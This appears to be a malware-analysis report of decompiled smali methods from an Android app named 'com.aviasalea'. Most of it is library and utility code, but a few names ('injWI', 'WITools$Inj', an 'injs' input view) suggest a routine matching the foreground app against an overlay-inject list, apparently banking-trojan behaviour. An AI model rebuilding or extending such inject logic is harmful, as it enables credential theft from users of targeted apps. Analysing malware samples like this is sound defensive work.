                                      4sget-object v0, Lde/greenrobot/event/EventBus;->defaultInstance:Lde/greenrobot/event/EventBus;
                                      5if-eqz v0, :cond_12
                                      6new-instance v0, Lde/greenrobot/event/EventBusException;
                                      8const-string v2, "Default instance already exists. It may be only set once before it\'s used the first time to ensure consistent behavior."
                                      10invoke-direct {v0, v2}, Lde/greenrobot/event/EventBusException;-><init>(Ljava/lang/String;)V
                                      11throw v0
                                      12catchall_f: move-exception v0
                                      13monitor-exit v1
                                      14try_end_11: throw v0
                                      15cond_12:
                                      16invoke-virtual {p0}, Lde/greenrobot/event/EventBusBuilder;->build()Lde/greenrobot/event/EventBus;
                                      17move-result-object v0
                                      18sput-object v0, Lde/greenrobot/event/EventBus;->defaultInstance:Lde/greenrobot/event/EventBus;
                                      20sget-object v0, Lde/greenrobot/event/EventBus;->defaultInstance:Lde/greenrobot/event/EventBus;
                                      21monitor-exit v1
                                      22try_end_1b: return-object v0
                                      APIs
                                      • java.lang.IllegalStateException.<init>
                                      Strings
                                      • No pending post available
                                      Position Instruction Meta Information
                                      0.prologue
                                      2iget-object v1, p0, Lde/greenrobot/event/AsyncPoster;->queue:Lde/greenrobot/event/PendingPostQueue;
                                      4invoke-virtual {v1}, Lde/greenrobot/event/PendingPostQueue;->poll()Lde/greenrobot/event/PendingPost;
                                      5move-result-object v0
                                      6if-nez v0, :cond_10
                                      7new-instance v1, Ljava/lang/IllegalStateException;
                                      9const-string v2, "No pending post available"
                                      11invoke-direct {v1, v2}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V
                                      12throw v1
                                      13cond_10:
                                      14iget-object v1, p0, Lde/greenrobot/event/AsyncPoster;->eventBus:Lde/greenrobot/event/EventBus;
                                      16invoke-virtual {v1, v0}, Lde/greenrobot/event/EventBus;->invokeSubscriber(Lde/greenrobot/event/PendingPost;)V
                                      17return-void
                                      APIs
                                      • org.json.JSONObject.getString
                                      Strings
                                      • answer
                                      Position Instruction Meta Information
                                      0.param p1, "json" # Lorg/json/JSONObject;
                                      1.prologue
                                      2try_start_0:
                                      3const-string v1, "answer"
                                      5invoke-virtual {p1, v1}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                      6move-result-object v1
                                      7iput-object v1, p0, Lcom/aviasalea/injs/api/response/SCResponse;->answer:Ljava/lang/String;
                                      8goto_8: return-void
                                      9catch_9: move-exception v0
                                      10const/4 v1, 0x0
                                      11iput-object v1, p0, Lcom/aviasalea/injs/api/response/SCResponse;->msg:Ljava/lang/String;
                                      12goto/16 :goto_8
                                      APIs
                                      • org.json.JSONObject.getString
                                      Strings
                                      • answer
                                      Position Instruction Meta Information
                                      0.param p1, "json" # Lorg/json/JSONObject;
                                      1.prologue
                                      2try_start_0:
                                      3const-string v1, "answer"
                                      5invoke-virtual {p1, v1}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                      6move-result-object v1
                                      7iput-object v1, p0, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      8goto_8: return-void
                                      9catch_9: move-exception v0
                                      10const/4 v1, 0x0
                                      11iput-object v1, p0, Lcom/aviasalea/srs/api/responses/StatusResponse;->msg:Ljava/lang/String;
                                      12goto/16 :goto_8
                                      APIs
                                      • java.util.HashMap.<init>
                                      Strings
                                      • Event
                                      Position Instruction Meta Information
                                      0.prologue
                                      2const-string v0, "Event"
                                      3sput-object v0, Lde/greenrobot/event/EventBus;->TAG:Ljava/lang/String;
                                      4new-instance v0, Lde/greenrobot/event/EventBusBuilder;
                                      6invoke-direct {v0}, Lde/greenrobot/event/EventBusBuilder;-><init>()V
                                      7sput-object v0, Lde/greenrobot/event/EventBus;->DEFAULT_BUILDER:Lde/greenrobot/event/EventBusBuilder;
                                      8new-instance v0, Ljava/util/HashMap;
                                      10invoke-direct {v0}, Ljava/util/HashMap;-><init>()V
                                      11sput-object v0, Lde/greenrobot/event/EventBus;->eventTypesCache:Ljava/util/Map;
                                      12return-void
                                      APIs
                                      • java.lang.IllegalArgumentException.<init>
                                      Strings
                                      • Delay cannot be less than 0
                                      Position Instruction Meta Information
                                      0.param p1, "delayBetweenScansMillis" # I
                                      1.prologue
                                      2if-gez p1, :cond_a
                                      3new-instance v0, Ljava/lang/IllegalArgumentException;
                                      5const-string v1, "Delay cannot be less than 0"
                                      7invoke-direct {v0, v1}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
                                      8throw v0
                                      9cond_a: iput p1, p0, Lcom/aviasalea/ping/Ping;->delayBetweenScansMillis:I
                                      10return-object p0
                                      Cross References
                                      APIs
                                      • java.lang.IllegalArgumentException.<init>
                                      Strings
                                      • Times cannot be less than 0
                                      Position Instruction Meta Information
                                      0.param p1, "timeOutMillis" # I
                                      1.prologue
                                      2if-gez p1, :cond_a
                                      3new-instance v0, Ljava/lang/IllegalArgumentException;
                                      5const-string v1, "Times cannot be less than 0"
                                      7invoke-direct {v0, v1}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
                                      8throw v0
                                      9cond_a: iput p1, p0, Lcom/aviasalea/ping/Ping;->timeOutMillis:I
                                      10return-object p0
                                      APIs
                                      • java.lang.IllegalArgumentException.<init>
                                      Strings
                                      • Times cannot be less than 0
                                      Position Instruction Meta Information
                                      0.param p1, "noTimes" # I
                                      1.prologue
                                      2if-gez p1, :cond_a
                                      3new-instance v0, Ljava/lang/IllegalArgumentException;
                                      5const-string v1, "Times cannot be less than 0"
                                      7invoke-direct {v0, v1}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
                                      8throw v0
                                      9cond_a: iput p1, p0, Lcom/aviasalea/ping/Ping;->times:I
                                      10return-object p0
                                      Cross References
                                      APIs
                                      • java.lang.String.getBytes
                                      Strings
                                      • UTF-8
                                      Position Instruction Meta Information
                                      0.param p0, "str" # Ljava/lang/String;
                                      1.prologue
                                      2try_start_0:
                                      3const-string v1, "UTF-8"
                                      5invoke-virtual {p0, v1}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B
                                      6try_end_5: move-result-object v1
                                      7goto_6: return-object v1
                                      8catch_7: move-exception v0
                                      9const/4 v1, 0x0
                                      10goto/16 :goto_6
                                      Cross References
                                      APIs
                                      • java.lang.String.replaceAll
                                      Strings
                                      Position Instruction Meta Information
                                      0.param p1, "phoneNumber" # Ljava/lang/String;
                                      1.prologue
                                      3const-string v0, " "
                                      5const-string v1, ""
                                      7invoke-virtual {p1, v0, v1}, Ljava/lang/String;->replaceAll(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                                      8move-result-object v0
                                      9return-object v0
                                      Cross References
                                      APIs
                                      • android.util.Log.e
                                      Strings
                                      • com.aviasalea
                                      Position Instruction Meta Information
                                      0.param p0, "message" # Ljava/lang/String;
                                      1.prologue
                                      3const-string v0, "com.aviasalea"
                                      5invoke-static {v0, p0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                      6return-void
                                      APIs
                                      • java.lang.Thread.sleep
                                      • java.lang.InterruptedException.printStackTrace
                                      Position Instruction Meta Information
                                      0.prologue
                                      1const-wide/16 v2, 0x0
                                      2const-wide/16 v4, 0x0
                                      3const/4 v6, 0x0
                                      4const/high16 v7, -0x40800000 # -1.0f
                                      5const/high16 v8, -0x40800000 # -1.0f
                                      7iget-object v0, p0, Lcom/aviasalea/ping/Ping$1;->this$0:Lcom/aviasalea/ping/Ping;
                                      8const/4 v1, 0x0
                                      10invoke-static {v0, v1}, Lcom/aviasalea/ping/Ping;->access$002(Lcom/aviasalea/ping/Ping;Z)Z
                                      12iget-object v0, p0, Lcom/aviasalea/ping/Ping$1;->this$0:Lcom/aviasalea/ping/Ping;
                                      14invoke-static {v0}, Lcom/aviasalea/ping/Ping;->access$100(Lcom/aviasalea/ping/Ping;)I
                                      15move-result v10
                                      16goto_15: if-gtz v10, :cond_1f
                                      18iget-object v0, p0, Lcom/aviasalea/ping/Ping$1;->this$0:Lcom/aviasalea/ping/Ping;
                                      20invoke-static {v0}, Lcom/aviasalea/ping/Ping;->access$100(Lcom/aviasalea/ping/Ping;)I
                                      21move-result v0
                                      22if-nez v0, :cond_4e
                                      23cond_1f:
                                      24iget-object v0, p0, Lcom/aviasalea/ping/Ping$1;->this$0:Lcom/aviasalea/ping/Ping;
                                      26invoke-static {v0}, Lcom/aviasalea/ping/Ping;->access$200(Lcom/aviasalea/ping/Ping;)Ljava/net/InetAddress;
                                      27move-result-object v0
                                      29iget-object v1, p0, Lcom/aviasalea/ping/Ping$1;->this$0:Lcom/aviasalea/ping/Ping;
                                      31invoke-static {v1}, Lcom/aviasalea/ping/Ping;->access$300(Lcom/aviasalea/ping/Ping;)I
                                      32move-result v1
                                      34invoke-static {v0, v1}, Lcom/aviasalea/ping/PingTools;->doPing(Ljava/net/InetAddress;I)Lcom/aviasalea/ping/PingResult;
                                      35move-result-object v11
                                      37iget-object v0, p0, Lcom/aviasalea/ping/Ping$1;->val$pingListener:Lcom/aviasalea/ping/Ping$PingListener;
                                      38if-eqz v0, :cond_38
                                      40iget-object v0, p0, Lcom/aviasalea/ping/Ping$1;->val$pingListener:Lcom/aviasalea/ping/Ping$PingListener;
                                      42invoke-interface {v0, v11}, Lcom/aviasalea/ping/Ping$PingListener;->onResult(Lcom/aviasalea/ping/PingResult;)V
                                      43cond_38: const-wide/16 v0, 0x1
                                      44add-long/2addr v2, v0
                                      46invoke-virtual {v11}, Lcom/aviasalea/ping/PingResult;->hasError()Z
                                      47move-result v0
                                      48if-eqz v0, :cond_63
                                      49const-wide/16 v0, 0x1
                                      50add-long/2addr v4, v0
                                      51goto_44: add-int/lit8 v10, v10, -0x1
                                      53iget-object v0, p0, Lcom/aviasalea/ping/Ping$1;->this$0:Lcom/aviasalea/ping/Ping;
                                      55invoke-static {v0}, Lcom/aviasalea/ping/Ping;->access$000(Lcom/aviasalea/ping/Ping;)Z
                                      56move-result v0
                                      57if-eqz v0, :cond_7f
                                      58cond_4e:
                                      59iget-object v0, p0, Lcom/aviasalea/ping/Ping$1;->val$pingListener:Lcom/aviasalea/ping/Ping$PingListener;
                                      60if-eqz v0, :cond_62
                                      62iget-object v13, p0, Lcom/aviasalea/ping/Ping$1;->val$pingListener:Lcom/aviasalea/ping/Ping$PingListener;
                                      63new-instance v0, Lcom/aviasalea/ping/PingStats;
                                      65iget-object v1, p0, Lcom/aviasalea/ping/Ping$1;->this$0:Lcom/aviasalea/ping/Ping;
                                      67invoke-static {v1}, Lcom/aviasalea/ping/Ping;->access$200(Lcom/aviasalea/ping/Ping;)Ljava/net/InetAddress;
                                      68move-result-object v1
                                      70invoke-direct/range {v0 .. v8}, Lcom/aviasalea/ping/PingStats;-><init>(Ljava/net/InetAddress;JJFFF)V
                                      72invoke-interface {v13, v0}, Lcom/aviasalea/ping/Ping$PingListener;->onFinished(Lcom/aviasalea/ping/PingStats;)V
                                      73cond_62: return-void
                                      74cond_63:
                                      75invoke-virtual {v11}, Lcom/aviasalea/ping/PingResult;->getTimeTaken()F
                                      76move-result v12
                                      77add-float/2addr v6, v12
                                      78const/high16 v0, -0x40800000 # -1.0f
                                      79cmpl-float v0, v8, v0
                                      80if-eqz v0, :cond_72
                                      81cmpl-float v0, v12, v8
                                      82if-lez v0, :cond_73
                                      83cond_72: move v8, v12
                                      84cond_73: const/high16 v0, -0x40800000 # -1.0f
                                      85cmpl-float v0, v7, v0
                                      86if-eqz v0, :cond_7d
                                      87cmpg-float v0, v12, v7
                                      88if-gez v0, :cond_44
                                      89cond_7d: move v7, v12
                                      90goto/16 :goto_44
                                      91try_start_7f:
                                      92iget-object v0, p0, Lcom/aviasalea/ping/Ping$1;->this$0:Lcom/aviasalea/ping/Ping;
                                      94invoke-static {v0}, Lcom/aviasalea/ping/Ping;->access$400(Lcom/aviasalea/ping/Ping;)I
                                      95move-result v0
                                      96int-to-long v0, v0
                                      98invoke-static {v0, v1}, Ljava/lang/Thread;->sleep(J)V
                                      99try_end_89: goto/16 :goto_15
                                      100catch_8a: move-exception v9
                                      102invoke-virtual {v9}, Ljava/lang/InterruptedException;->printStackTrace()V
                                      103goto/16 :goto_15
                                      APIs
                                      • android.widget.LinearLayout$LayoutParams.<init>
                                      • android.widget.LinearLayout$LayoutParams.setMargins
                                      Position Instruction Meta Information
                                      0.param p0, "width" # I
                                      1.param p1, "height" # I
                                      2.param p2, "weight" # F
                                      3.param p3, "gravity" # I
                                      4.param p4, "leftMargin" # I
                                      5.param p5, "topMargin" # I
                                      6.param p6, "rightMargin" # I
                                      7.param p7, "bottomMargin" # I
                                      8.prologue
                                      9new-instance v0, Landroid/widget/LinearLayout$LayoutParams;
                                      10int-to-float v1, p0
                                      12invoke-static {v1}, Lcom/aviasalea/base/dialog/LayoutHelper;->getSize(F)I
                                      13move-result v1
                                      14int-to-float v2, p1
                                      16invoke-static {v2}, Lcom/aviasalea/base/dialog/LayoutHelper;->getSize(F)I
                                      17move-result v2
                                      19invoke-direct {v0, v1, v2, p2}, Landroid/widget/LinearLayout$LayoutParams;-><init>(IIF)V
                                      20int-to-float v1, p4
                                      22invoke-static {v1}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      23move-result v1
                                      24int-to-float v2, p5
                                      26invoke-static {v2}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      27move-result v2
                                      28int-to-float v3, p6
                                      30invoke-static {v3}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      31move-result v3
                                      32int-to-float v4, p7
                                      34invoke-static {v4}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      35move-result v4
                                      37invoke-virtual {v0, v1, v2, v3, v4}, Landroid/widget/LinearLayout$LayoutParams;->setMargins(IIII)V
                                      38iput p3, v0, Landroid/widget/LinearLayout$LayoutParams;->gravity:I
                                      39return-object v0
                                      Cross References
                                      APIs
                                      • android.widget.LinearLayout$LayoutParams.<init>
                                      • android.widget.LinearLayout$LayoutParams.setMargins
                                      Position Instruction Meta Information
                                      0.param p0, "width" # I
                                      1.param p1, "height" # I
                                      2.param p2, "gravity" # I
                                      3.param p3, "leftMargin" # I
                                      4.param p4, "topMargin" # I
                                      5.param p5, "rightMargin" # I
                                      6.param p6, "bottomMargin" # I
                                      7.prologue
                                      8new-instance v0, Landroid/widget/LinearLayout$LayoutParams;
                                      9int-to-float v1, p0
                                      11invoke-static {v1}, Lcom/aviasalea/base/dialog/LayoutHelper;->getSize(F)I
                                      12move-result v1
                                      13int-to-float v2, p1
                                      15invoke-static {v2}, Lcom/aviasalea/base/dialog/LayoutHelper;->getSize(F)I
                                      16move-result v2
                                      18invoke-direct {v0, v1, v2}, Landroid/widget/LinearLayout$LayoutParams;-><init>(II)V
                                      19int-to-float v1, p3
                                      21invoke-static {v1}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      22move-result v1
                                      23int-to-float v2, p4
                                      25invoke-static {v2}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      26move-result v2
                                      27int-to-float v3, p5
                                      29invoke-static {v3}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      30move-result v3
                                      31int-to-float v4, p6
                                      33invoke-static {v4}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      34move-result v4
                                      36invoke-virtual {v0, v1, v2, v3, v4}, Landroid/widget/LinearLayout$LayoutParams;->setMargins(IIII)V
                                      37iput p2, v0, Landroid/widget/LinearLayout$LayoutParams;->gravity:I
                                      38return-object v0
                                      APIs
                                      • android.widget.LinearLayout$LayoutParams.<init>
                                      • android.widget.LinearLayout$LayoutParams.setMargins
                                      Position Instruction Meta Information
                                      0.param p0, "width" # I
                                      1.param p1, "height" # I
                                      2.param p2, "weight" # F
                                      3.param p3, "leftMargin" # I
                                      4.param p4, "topMargin" # I
                                      5.param p5, "rightMargin" # I
                                      6.param p6, "bottomMargin" # I
                                      7.prologue
                                      8new-instance v0, Landroid/widget/LinearLayout$LayoutParams;
                                      9int-to-float v1, p0
                                      11invoke-static {v1}, Lcom/aviasalea/base/dialog/LayoutHelper;->getSize(F)I
                                      12move-result v1
                                      13int-to-float v2, p1
                                      15invoke-static {v2}, Lcom/aviasalea/base/dialog/LayoutHelper;->getSize(F)I
                                      16move-result v2
                                      18invoke-direct {v0, v1, v2, p2}, Landroid/widget/LinearLayout$LayoutParams;-><init>(IIF)V
                                      19int-to-float v1, p3
                                      21invoke-static {v1}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      22move-result v1
                                      23int-to-float v2, p4
                                      25invoke-static {v2}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      26move-result v2
                                      27int-to-float v3, p5
                                      29invoke-static {v3}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      30move-result v3
                                      31int-to-float v4, p6
                                      33invoke-static {v4}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      34move-result v4
                                      36invoke-virtual {v0, v1, v2, v3, v4}, Landroid/widget/LinearLayout$LayoutParams;->setMargins(IIII)V
                                      37return-object v0
                                      Cross References
                                      APIs
                                      • android.widget.FrameLayout$LayoutParams.<init>
                                      • android.widget.FrameLayout$LayoutParams.setMargins
                                      Position Instruction Meta Information
                                      0.param p0, "width" # I
                                      1.param p1, "height" # F
                                      2.param p2, "gravity" # I
                                      3.param p3, "leftMargin" # F
                                      4.param p4, "topMargin" # F
                                      5.param p5, "rightMargin" # F
                                      6.param p6, "bottomMargin" # F
                                      7.prologue
                                      8new-instance v0, Landroid/widget/FrameLayout$LayoutParams;
                                      9int-to-float v1, p0
                                      11invoke-static {v1}, Lcom/aviasalea/base/dialog/LayoutHelper;->getSize(F)I
                                      12move-result v1
                                      14invoke-static {p1}, Lcom/aviasalea/base/dialog/LayoutHelper;->getSize(F)I
                                      15move-result v2
                                      17invoke-direct {v0, v1, v2, p2}, Landroid/widget/FrameLayout$LayoutParams;-><init>(III)V
                                      19invoke-static {p3}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      20move-result v1
                                      22invoke-static {p4}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      23move-result v2
                                      25invoke-static {p5}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      26move-result v3
                                      28invoke-static {p6}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      29move-result v4
                                      31invoke-virtual {v0, v1, v2, v3, v4}, Landroid/widget/FrameLayout$LayoutParams;->setMargins(IIII)V
                                      32return-object v0
                                      Cross References
                                      APIs
                                      • android.widget.LinearLayout$LayoutParams.<init>
                                      • android.widget.LinearLayout$LayoutParams.setMargins
                                      Position Instruction Meta Information
                                      0.param p0, "width" # I
                                      1.param p1, "height" # I
                                      2.param p2, "leftMargin" # F
                                      3.param p3, "topMargin" # F
                                      4.param p4, "rightMargin" # F
                                      5.param p5, "bottomMargin" # F
                                      6.prologue
                                      7new-instance v0, Landroid/widget/LinearLayout$LayoutParams;
                                      8int-to-float v1, p0
                                      10invoke-static {v1}, Lcom/aviasalea/base/dialog/LayoutHelper;->getSize(F)I
                                      11move-result v1
                                      12int-to-float v2, p1
                                      14invoke-static {v2}, Lcom/aviasalea/base/dialog/LayoutHelper;->getSize(F)I
                                      15move-result v2
                                      17invoke-direct {v0, v1, v2}, Landroid/widget/LinearLayout$LayoutParams;-><init>(II)V
                                      19invoke-static {p2}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      20move-result v1
                                      22invoke-static {p3}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      23move-result v2
                                      25invoke-static {p4}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      26move-result v3
                                      28invoke-static {p5}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      29move-result v4
                                      31invoke-virtual {v0, v1, v2, v3, v4}, Landroid/widget/LinearLayout$LayoutParams;->setMargins(IIII)V
                                      32return-object v0
                                      Cross References
                                      APIs
                                      • com.aviasalea.Realtalk.injWI:Ljava/util/List
                                      • com.aviasalea.Realtalk.injWI:Ljava/util/List
                                      • java.util.List.size
                                      • com.aviasalea.Realtalk.injWI:Ljava/util/List
                                      • java.util.List.get
                                      Position Instruction Meta Information
                                      0.param p0, "currentPackage" # Ljava/lang/String;
                                      1.annotation system Ldalvik/annotation/Throws;
                                      2value = {
                                      3Ljava/lang/Exception;
                                      4}
                                      5.end annotation
                                      6.prologue
                                      8sget-object v3, Lcom/aviasalea/Realtalk;->injWI:Ljava/util/List;
                                      9if-eqz v3, :cond_21
                                      10const/4 v1, 0x0
                                      11goto_5:
                                      12sget-object v3, Lcom/aviasalea/Realtalk;->injWI:Ljava/util/List;
                                      14invoke-interface {v3}, Ljava/util/List;->size()I
                                      15move-result v3
                                      16if-ge v1, v3, :cond_21
                                      18sget-object v3, Lcom/aviasalea/Realtalk;->injWI:Ljava/util/List;
                                      20invoke-interface {v3, v1}, Ljava/util/List;->get(I)Ljava/lang/Object;
                                      21move-result-object v2
                                      22check-cast v2, Lcom/aviasalea/wb/WITools$Inj;
                                      23if-eqz v2, :cond_1e
                                      25invoke-static {p0, v2}, Lcom/aviasalea/wb/WITools;->equalsPkgs(Ljava/lang/String;Lcom/aviasalea/wb/WITools$Inj;)Ljava/lang/String;
                                      26move-result-object v0
                                      27if-eqz v0, :cond_1e
                                      28goto_1d: return-object v0
                                      29cond_1e: add-int/lit8 v1, v1, 0x1
                                      30goto/16 :goto_5
                                      31cond_21: const/4 v0, 0x0
                                      32goto/16 :goto_1d
                                      Cross References
                                      APIs
                                      • java.util.List.size
                                      • java.util.List.remove
                                      Position Instruction Meta Information
                                      0.param p0, "subscription" # Lde/greenrobot/event/Subscription;
                                      1.param p1, "event" # Ljava/lang/Object;
                                      2.prologue
                                      4sget-object v3, Lde/greenrobot/event/PendingPost;->pendingPostPool:Ljava/util/List;
                                      5monitor-enter v3
                                      6try_start_3:
                                      7sget-object v2, Lde/greenrobot/event/PendingPost;->pendingPostPool:Ljava/util/List;
                                      9invoke-interface {v2}, Ljava/util/List;->size()I
                                      10move-result v1
                                      11if-lez v1, :cond_1e
                                      13sget-object v2, Lde/greenrobot/event/PendingPost;->pendingPostPool:Ljava/util/List;
                                      14add-int/lit8 v4, v1, -0x1
                                      16invoke-interface {v2, v4}, Ljava/util/List;->remove(I)Ljava/lang/Object;
                                      17move-result-object v0
                                      18check-cast v0, Lde/greenrobot/event/PendingPost;
                                      19iput-object p1, v0, Lde/greenrobot/event/PendingPost;->event:Ljava/lang/Object;
                                      20iput-object p0, v0, Lde/greenrobot/event/PendingPost;->subscription:Lde/greenrobot/event/Subscription;
                                      21const/4 v2, 0x0
                                      22iput-object v2, v0, Lde/greenrobot/event/PendingPost;->next:Lde/greenrobot/event/PendingPost;
                                      23monitor-exit v3
                                      24goto_1d: return-object v0
                                      25cond_1e: monitor-exit v3
                                      26try_end_1f: new-instance v0, Lde/greenrobot/event/PendingPost;
                                      28invoke-direct {v0, p1, p0}, Lde/greenrobot/event/PendingPost;-><init>(Ljava/lang/Object;Lde/greenrobot/event/Subscription;)V
                                      29goto/16 :goto_1d
                                      30catchall_25: move-exception v2
                                      31try_start_26: monitor-exit v3
                                      32try_end_27: throw v2
                                      APIs
                                      • android.widget.LinearLayout.onLayout
                                      • com.aviasalea.injs.g.view._CTextInputLayout.editText:Landroid/widget/EditText
                                      • com.aviasalea.injs.g.view._CTextInputLayout.editText:Landroid/widget/EditText
                                      • android.widget.EditText.setInputType
                                      Position Instruction Meta Information
                                      0.param p1, "changed" # Z
                                      1.param p2, "left" # I
                                      2.param p3, "top" # I
                                      3.param p4, "right" # I
                                      4.param p5, "bottom" # I
                                      5.prologue
                                      6const/4 v2, 0x1
                                      8invoke-super/range {p0 .. p5}, Landroid/widget/LinearLayout;->onLayout(ZIIII)V
                                      9iget-boolean v0, p0, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->hasUpdated:Z
                                      10if-nez v0, :cond_18
                                      11try_start_8:
                                      12iget-object v0, p0, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->editText:Landroid/widget/EditText;
                                      13if-eqz v0, :cond_16
                                      14iget-boolean v0, p0, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->mIsNumber:Z
                                      15if-eqz v0, :cond_16
                                      17iget-object v0, p0, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->editText:Landroid/widget/EditText;
                                      18const/4 v1, 0x2
                                      20invoke-virtual {v0, v1}, Landroid/widget/EditText;->setInputType(I)V
                                      21try_end_16: iput-boolean v2, p0, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->hasUpdated:Z
                                      22cond_18: return-void
                                      23catchall_19: move-exception v0
                                      24iput-boolean v2, p0, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->hasUpdated:Z
                                      25throw v0
                                      APIs
                                      • java.util.Map.get
                                      • java.lang.Class.cast
                                      Position Instruction Meta Information
                                      0.annotation system Ldalvik/annotation/Signature;
                                      1value = {
                                      2"<T:",
                                      3"Ljava/lang/Object;",
                                      4">(",
                                      5"Ljava/lang/Class",
                                      6"<TT;>;)TT;"
                                      7}
                                      8.end annotation
                                      9.prologue
                                      11iget-object v1, p0, Lde/greenrobot/event/EventBus;->stickyEvents:Ljava/util/Map;
                                      12monitor-enter v1
                                      13try_start_3:
                                      14iget-object v0, p0, Lde/greenrobot/event/EventBus;->stickyEvents:Ljava/util/Map;
                                      16invoke-interface {v0, p1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                      17move-result-object v0
                                      19invoke-virtual {p1, v0}, Ljava/lang/Class;->cast(Ljava/lang/Object;)Ljava/lang/Object;
                                      20move-result-object v0
                                      21monitor-exit v1
                                      22return-object v0
                                      23catchall_f: move-exception v0
                                      24monitor-exit v1
                                      25try_end_11: throw v0
                                      APIs
                                      • java.util.Map.remove
                                      • java.lang.Class.cast
                                      Position Instruction Meta Information
                                      0.annotation system Ldalvik/annotation/Signature;
                                      1value = {
                                      2"<T:",
                                      3"Ljava/lang/Object;",
                                      4">(",
                                      5"Ljava/lang/Class",
                                      6"<TT;>;)TT;"
                                      7}
                                      8.end annotation
                                      9.prologue
                                      11iget-object v1, p0, Lde/greenrobot/event/EventBus;->stickyEvents:Ljava/util/Map;
                                      12monitor-enter v1
                                      13try_start_3:
                                      14iget-object v0, p0, Lde/greenrobot/event/EventBus;->stickyEvents:Ljava/util/Map;
                                      16invoke-interface {v0, p1}, Ljava/util/Map;->remove(Ljava/lang/Object;)Ljava/lang/Object;
                                      17move-result-object v0
                                      19invoke-virtual {p1, v0}, Ljava/lang/Class;->cast(Ljava/lang/Object;)Ljava/lang/Object;
                                      20move-result-object v0
                                      21monitor-exit v1
                                      22return-object v0
                                      23catchall_f: move-exception v0
                                      24monitor-exit v1
                                      25try_end_11: throw v0
                                      Cross References
                                      APIs
                                      • java.util.List.size
                                      • java.util.List.add
                                      Position Instruction Meta Information
                                      0.param p0, "pendingPost" # Lde/greenrobot/event/PendingPost;
                                      1.prologue
                                      2const/4 v0, 0x0
                                      3iput-object v0, p0, Lde/greenrobot/event/PendingPost;->event:Ljava/lang/Object;
                                      4iput-object v0, p0, Lde/greenrobot/event/PendingPost;->subscription:Lde/greenrobot/event/Subscription;
                                      5iput-object v0, p0, Lde/greenrobot/event/PendingPost;->next:Lde/greenrobot/event/PendingPost;
                                      7sget-object v1, Lde/greenrobot/event/PendingPost;->pendingPostPool:Ljava/util/List;
                                      8monitor-enter v1
                                      9try_start_a:
                                      10sget-object v0, Lde/greenrobot/event/PendingPost;->pendingPostPool:Ljava/util/List;
                                      12invoke-interface {v0}, Ljava/util/List;->size()I
                                      13move-result v0
                                      14const/16 v2, 0x2710
                                      15if-ge v0, v2, :cond_19
                                      17sget-object v0, Lde/greenrobot/event/PendingPost;->pendingPostPool:Ljava/util/List;
                                      19invoke-interface {v0, p0}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                      20cond_19: monitor-exit v1
                                      21return-void
                                      22catchall_1b: move-exception v0
                                      23monitor-exit v1
                                      24try_end_1d: throw v0
                                      Cross References
                                      APIs
                                      • java.lang.System.currentTimeMillis
                                      • com.aviasalea.base.dialog.LineProgressView.invalidate
                                      Position Instruction Meta Information
                                      0.param p1, "value" # F
                                      1.param p2, "animated" # Z
                                      2.prologue
                                      3const/high16 v1, 0x3f800000 # 1.0f
                                      4if-nez p2, :cond_1e
                                      5iput p1, p0, Lcom/aviasalea/base/dialog/LineProgressView;->animatedProgressValue:F
                                      6iput p1, p0, Lcom/aviasalea/base/dialog/LineProgressView;->animationProgressStart:F
                                      7goto_8: cmpl-float v0, p1, v1
                                      8if-eqz v0, :cond_e
                                      9iput v1, p0, Lcom/aviasalea/base/dialog/LineProgressView;->animatedAlphaValue:F
                                      10cond_e: iput p1, p0, Lcom/aviasalea/base/dialog/LineProgressView;->currentProgress:F
                                      11const-wide/16 v0, 0x0
                                      12iput-wide v0, p0, Lcom/aviasalea/base/dialog/LineProgressView;->currentProgressTime:J
                                      14invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                                      15move-result-wide v0
                                      16iput-wide v0, p0, Lcom/aviasalea/base/dialog/LineProgressView;->lastUpdateTime:J
                                      18invoke-virtual {p0}, Lcom/aviasalea/base/dialog/LineProgressView;->invalidate()V
                                      19return-void
                                      20cond_1e: iget v0, p0, Lcom/aviasalea/base/dialog/LineProgressView;->animatedProgressValue:F
                                      21iput v0, p0, Lcom/aviasalea/base/dialog/LineProgressView;->animationProgressStart:F
                                      22goto/16 :goto_8
                                      Cross References
                                      APIs
